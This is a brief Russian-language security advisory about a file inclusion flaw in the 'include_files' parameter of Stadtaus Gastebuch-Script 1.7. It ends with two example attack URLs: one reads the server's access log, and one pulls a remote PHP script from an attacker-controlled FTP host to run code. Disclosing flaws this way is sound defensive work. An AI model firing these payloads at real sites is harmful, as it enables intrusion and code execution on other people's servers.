Программа: Stadtaus Gastebuch-Script 1.7, возможно другие версии.
Уязвимость позволяет удаленному пользователю просмотреть произвольные файлы на
системе. Уязвимость существует из-за недостаточной обработки входных данных в
параметре массива "include_files". Удаленный пользователь может с помощью
специально сформированного URL просмотреть произвольные файлы на системе (PHP4)
или выполнить произвольные PHP сценарий (PHP5) с привилегиями Web сервера.
Пример:
http://[target]/[path]/index.php?include_files[]=& include_files[1]=/var/log/httpd/access_log
http://[target]/[path]/index.php?include_files[]=& include_files[1]=ftp://username:pass@attacker/suntzu.php
